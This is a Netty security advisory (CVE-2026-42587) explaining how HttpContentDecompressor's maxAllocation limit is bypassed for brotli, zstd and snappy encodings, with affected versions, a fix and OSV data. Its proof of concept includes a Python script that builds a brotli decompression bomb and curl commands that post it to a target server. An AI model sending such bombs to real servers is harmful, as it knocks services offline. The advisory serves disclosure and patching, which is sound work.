Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS
Details
Summary
HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.
The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.
Details
HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.
For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():
// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))
ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:
// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());
For brotli, zstd, and snappy, the decoders are created without any size limit:
// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())
// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())
// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())
BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.
ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.
The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.
PoC
- Configure a Netty HTTP server with decompression bomb protection:
pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max
- Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):
import brotli
bomb = b'\x00' * (1024 * 1024 * 1024) # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
f.write(compressed)
# compressed size: ~1KB
- Send the bomb with gzip encoding (BLOCKED by maxAllocation):
# This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
-H 'Content-Encoding: gzip' \
--data-binary @bomb.gz
# Result: DecompressionException thrown at 1MB
- Send the same bomb with brotli encoding (BYPASSES maxAllocation):
# This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
-H 'Content-Encoding: br' \
--data-binary @bomb.br
# Result: Full 1GB decompressed into memory → OOM
- The same bypass works with
Content-Encoding: zstdandContent-Encoding: snappy.
Impact
- Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on
maxAllocationfor decompression bomb protection, by simply using a non-gzip content encoding. - False sense of security: Developers who explicitly configure
maxAllocationto protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered. - Trivial bypass: The attacker only needs to change one HTTP header (
Content-Encoding: brinstead ofContent-Encoding: gzip) to circumvent the protection entirely. - Both HTTP/1.1 and HTTP/2: The vulnerability exists in both
HttpContentDecompressor(HTTP/1.1) andDelegatingDecompressorFrameListener(HTTP/2).
Recommended Fix
Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:
HttpContentDecompressor.java — pass maxAllocation to all decoders:
// Line 120: BrotliDecoder — add maxAllocation support
.handlers(new BrotliDecoder(maxAllocation))
// Line 129: SnappyFrameDecoder — add maxAllocation support
.handlers(new SnappyFrameDecoder(maxAllocation))
// Line 138: ZstdDecoder — forward the configured maxAllocation
.handlers(new ZstdDecoder(maxAllocation))
DelegatingDecompressorFrameListener.java — same fix at lines 188-210.
BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.
SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.
ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42587"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:46:35Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service.\n\nThe same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections.\n\n## Details\n\n`HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// HttpContentDecompressor.java:101 \u2014 maxAllocation IS enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer\u0027s `maxCapacity` and throwing `DecompressionException` when the limit is reached:\n\n```java\n// ZlibDecoder.java:68 \u2014 hard limit on buffer capacity\nreturn ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);\n// ZlibDecoder.java:80 \u2014 throws when exceeded\nthrow new DecompressionException(\"Decompression buffer has reached maximum size: \" + buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120 \u2014 maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n// HttpContentDecompressor.java:129 \u2014 maxAllocation IGNORED\n.handlers(new SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 \u2014 maxAllocation IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at all \u2014 there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with decompression bomb protection:\n\n```java\npipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max\n```\n\n2. Generate a brotli-compressed bomb (~1KB compressed \u2192 1GB decompressed):\n\n```python\nimport brotli\nbomb = b\u0027\\x00\u0027 * (1024 * 1024 * 1024) # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith open(\u0027bomb.br\u0027, \u0027wb\u0027) as f:\n f.write(compressed)\n# compressed size: ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):\n\n```bash\n# This is caught \u2014 ZlibDecoder enforces the 1MB limit\ncurl -X POST http://target:8080/api \\\n -H \u0027Content-Encoding: gzip\u0027 \\\n --data-binary @bomb.gz\n# Result: DecompressionException thrown at 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):\n\n```bash\n# This bypasses the limit \u2014 BrotliDecoder has no maxAllocation\ncurl -X POST http://target:8080/api \\\n -H \u0027Content-Encoding: br\u0027 \\\n --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory \u2192 OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding.\n- **False sense of security**: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.\n- **Trivial bypass**: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely.\n- **Both HTTP/1.1 and HTTP/2**: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2).\n\n## Recommended Fix\n\nPass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter:\n\n**HttpContentDecompressor.java** \u2014 pass maxAllocation to all decoders:\n\n```java\n// Line 120: BrotliDecoder \u2014 add maxAllocation support\n.handlers(new BrotliDecoder(maxAllocation))\n\n// Line 129: SnappyFrameDecoder \u2014 add maxAllocation support\n.handlers(new SnappyFrameDecoder(maxAllocation))\n\n// Line 138: ZstdDecoder \u2014 forward the configured maxAllocation\n.handlers(new ZstdDecoder(maxAllocation))\n```\n\n**DelegatingDecompressorFrameListener.java** \u2014 same fix at lines 188-210.\n\n**BrotliDecoder** \u2014 add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit.\n\n**SnappyFrameDecoder** \u2014 add `maxAllocation` parameter with equivalent enforcement.\n\n**ZstdDecoder** \u2014 ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).",
"id": "GHSA-f6hv-jmp6-3vwv",
"modified": "2026-05-14T20:41:29Z",
"published": "2026-05-07T00:46:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS"
}
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Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
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